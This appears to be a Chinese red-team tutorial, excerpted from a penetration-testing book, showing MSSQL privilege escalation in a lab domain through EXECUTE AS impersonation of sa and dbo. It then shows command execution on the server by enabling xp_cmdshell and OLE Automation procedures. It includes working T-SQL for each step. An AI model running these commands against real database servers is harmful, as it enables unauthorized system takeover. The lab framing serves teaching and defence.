利用MSSQL模拟提权

点击星标, 即时接收最新推文

本文选自《内网安全攻防:红队之路》

扫描二维码五折购书

利用MSSQL模拟提权

在MS SQL数据库,可以使用EXECUTE AS语句,以其他用户的上下文执行SQL查询。需要注意的是只有明确授予模拟(Impersonate)权限的用户才能执行这个语句。这个权限对于多数用户不是默认配置,但是数据库管理员可能因为误配置导致权限提升。

这里为了演示利用MSSQL模拟提权的概念,我们在运行在dev-DC01的SQL数据库引入了一个误配置的模拟权限。有两种方式可以使用模拟。第一种方式是使用EXECUTE AS LOGIN语句在登录级别模拟不同的用户。第二种方式是在用户级别用EXECUTE AS USER语句来完成。

首先我们演示在登录级别的模拟。由于我们是低权限用户,我们无法枚举当前用户可以模拟哪个用户,但是可以枚举哪个用户可以被模拟。可通过如下查询获得哪个用户可以被模拟的信息:

sql 复制代码
set instance dev-dc01.dev.ms08067.cn
USE master;
go
SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE';
go

枚举可被模拟的用户

从ESC工具的输出可以看到sa用户可被模拟,虽然无法判断哪个用户允许模拟成sa。在测试过程,可以使用我们有权限的用户直接尝试。我们首先使用EXECUTE AS LOGIN进行测试:

sql 复制代码
set instance dev-dc01.dev.ms08067.cn
SELECT SYSTEM_USER;
go
EXECUTE AS LOGIN = 'sa';
SELECT SYSTEM_USER;
go

EXECUTE AS LOGIN模拟测试

从输出可以看到我们当前用户dev\dave可以模拟成sa,也就意味着当前用户有数据库管理员权限。

我们也可以模拟一个数据库用户,但是要进行权限提升,需要满足两个条件。首先模拟的其他用户需要有必要的权限,比如sysadmin角色。此外,因为数据库用户只能在特定数据库执行操作,要实现入侵数据库服务器,我们要模拟的用户需要在对应数据库设置了TRUSTWORTHY属性。仅原生的数据库msdb启用了这个属性。

要演示这个权限提升技术,guest用户必须在msdb授予模拟dbo的权限。

要执行模拟测试,首先切换到msdb数据,然后执行"EXECUTE AS USER"语句。通过USER_NAME()可以看到当前用户的上下文:

sql 复制代码
use msdb;
EXECUTE AS USER = 'dbo';
SELECT USER_NAME();
go

EXECUTE AS USER模拟

从输出可以看到,当前用户也有权限模拟成dbo用户,也就是获得了sysadmin权限。

在我们获得了sysadmin权限后,可以尝试在数据库服务器执行命令。比较常用的方法是使用xp_cmdshell存储过程。但是因为xp_cmdshell比较常用,所以可能被禁用或者监控,此时,我们也可以尝试使用其他的存储过程,比如sp_OACreate。

我们先尝试使用xp_cmdshell执行命令。从SQL 2005开始,xp_cmdshell默认被禁用。如果有sysadmin角色权限的话,可以使用advanced options和sp_configure存储过程启用。我们先模拟sa,然后使用sp_configure激活advanced options并启用xp_cmdshell:

sql 复制代码
EXECUTE AS LOGIN = 'sa';
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
EXEC xp_cmdshell whoami
go

启用xp_cmdshell

从输出可以看到成功在数据库服务器启用xp_cmdshell并执行了命令。后续如果想要执行其他命令,需要先执行EXECUTE AS LOGIN = 'sa':

xp_cmdshell执行命令

如果要禁用xp_cmdshell,可用如下命令:

javascript 复制代码
EXEC sp_configure 'xp_cmdshell', 0
RECONFIGURE
EXEC sp_configure 'show advanced options', 0;
RECONFIGURE;

如果xp_cmdshell不可用,我们也可以使用sp_OACreate和sp_OAMethod存储过程,来创建和执行一个基于Object Linking and Embedding(OLE)的新存储过程。需要注意的是这个方法的命令执行结果不会回显。

在执行OLE-based存储过程前,我们需要确保"OLE Automation Procedures"设置启用,默认是禁用的,我们可以使用sp_configure修改这个设置。

typescript 复制代码
EXECUTE AS LOGIN = 'sa';
EXEC sp_configure 'Ole Automation Procedures', 1;
RECONFIGURE;
DECLARE @myshell INT;
EXEC sp_oacreate 'wscript.shell', @myshell OUTPUT;
EXEC sp_oamethod @myshell, 'run', null, 'cmd /c ipconfig > c:\Tools\ip.txt';
go

sp_OACreate命令执行

命令执行完后,我们在服务器查看,可以看到在数据库服务器成功执行ipconfig:

sp_OACreate命令执行结果

--- 实验室旗下直播培训课程 ---

<>

和20000+位同学加入MS08067一起学习

相关推荐
云和数据.ChenGuang1 小时前
Django 应用安装脚本 – 如何将应用添加到 INSTALLED_APPS 设置中 原创
数据库·django·sqlite
woshilys2 小时前
sql server 查询对象的修改时间
运维·数据库·sqlserver
Hacker_LaoYi2 小时前
SQL注入的那些面试题总结
数据库·sql
建投数据3 小时前
建投数据与腾讯云数据库TDSQL完成产品兼容性互认证
数据库·腾讯云
Hacker_LaoYi4 小时前
【渗透技术总结】SQL手工注入总结
数据库·sql
岁月变迁呀4 小时前
Redis梳理
数据库·redis·缓存
独行soc4 小时前
#渗透测试#漏洞挖掘#红蓝攻防#护网#sql注入介绍06-基于子查询的SQL注入(Subquery-Based SQL Injection)
数据库·sql·安全·web安全·漏洞挖掘·hw
你的微笑,乱了夏天4 小时前
linux centos 7 安装 mongodb7
数据库·mongodb
工业甲酰苯胺5 小时前
分布式系统架构:服务容错
数据库·架构
独行soc6 小时前
#渗透测试#漏洞挖掘#红蓝攻防#护网#sql注入介绍08-基于时间延迟的SQL注入(Time-Based SQL Injection)
数据库·sql·安全·渗透测试·漏洞挖掘